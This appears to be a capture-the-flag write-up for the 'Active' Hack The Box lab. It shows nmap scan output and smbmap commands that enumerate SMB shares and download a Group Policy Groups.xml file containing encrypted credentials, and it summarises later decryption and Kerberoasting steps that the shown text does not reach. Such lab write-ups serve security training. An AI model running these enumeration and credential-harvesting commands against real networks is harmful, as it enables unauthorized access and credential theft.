Used smbmap to enumerate smb and found a Group Policy config file with encrypted creds.
Decrypted the password using gpp-decrypt
Used bloodhound to enumerate the DC
Found the Administrator user was kerberostable
Nmap
Enumerating SMB
Looks like we can read the Replication share
Recursively listing all files using smbmap
Downloading the file using smbmap
Contents of the Groups.xml file
Decrypting the Group Policy Password using gpp-decrypt
Attempting to access the box using those creds failed using psexec because the user can not write to any share. However the credentials are confirmed to be valid using smbmap and crackmapexec.
# Nmap 7.80 scan initiated Sat Mar 7 16:31:24 2020 as:
nmap -Pn -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49169,49171,49182 -oN nmap/Active_nmap.txt 10.10.10.100
Nmap scan report for 10.10.10.100
Host is up (0.085s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-03-07 21:33:51Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49169/tcp open msrpc Microsoft Windows RPC
49171/tcp open msrpc Microsoft Windows RPC
49182/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 2m18s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-03-07T21:34:47
|_ start_date: 2020-03-07T21:19:38
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 7 16:34:35 2020 -- 1 IP address (1 host up) scanned in 190.90 seconds
# Nmap 7.80 scan initiated Sat Mar 7 16:34:35 2020 as:
nmap -Pn -sU -oN nmap/Active.udp 10.10.10.100
Nmap scan report for 10.10.10.100
Host is up (0.038s latency).
Not shown: 971 closed ports
PORT STATE SERVICE
53/udp open domain
88/udp open|filtered kerberos-sec
123/udp open ntp
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
389/udp open|filtered ldap
464/udp open|filtered kpasswd5
500/udp open|filtered isakmp
2048/udp open|filtered dls-monitor
4500/udp open|filtered nat-t-ike
5355/udp open|filtered llmnr
17573/udp open|filtered unknown
28641/udp open|filtered unknown
48761/udp open|filtered unknown
49205/udp open|filtered unknown
51554/udp open|filtered unknown
51586/udp open unknown
51690/udp open unknown
51717/udp open unknown
51905/udp open unknown
51972/udp open|filtered unknown
52144/udp open unknown
52225/udp open|filtered unknown
52503/udp open unknown
53006/udp open|filtered unknown
53037/udp open|filtered unknown
53571/udp open unknown
53589/udp open unknown
53838/udp open unknown
# smbmap -H 10.10.10.100
[+] IP: 10.10.10.100:445 Name: active.htb
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ NO ACCESS Remote IPC
NETLOGON NO ACCESS Logon server share
Replication READ ONLY
SYSVOL NO ACCESS Logon server share
Users NO ACCESS
smbmap -H 10.10.10.100 -R Replication --depth 10
# The followinf file is interesting since this usually contains Group Policy creds
.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\*
dr--r--r-- 0 Sat Jul 21 06:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 06:37:44 2018 ..
fr--r--r-- 533 Sat Jul 21 06:38:11 2018 Groups.xml
smbmap -H 10.10.10.100 -R Replication --depth 10 -A Groups.xml
[+] IP: 10.10.10.100:445 Name: active.htb
[+] Starting search for files matching 'Groups.xml' on share Replication.
[+] Match found! Downloading: Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
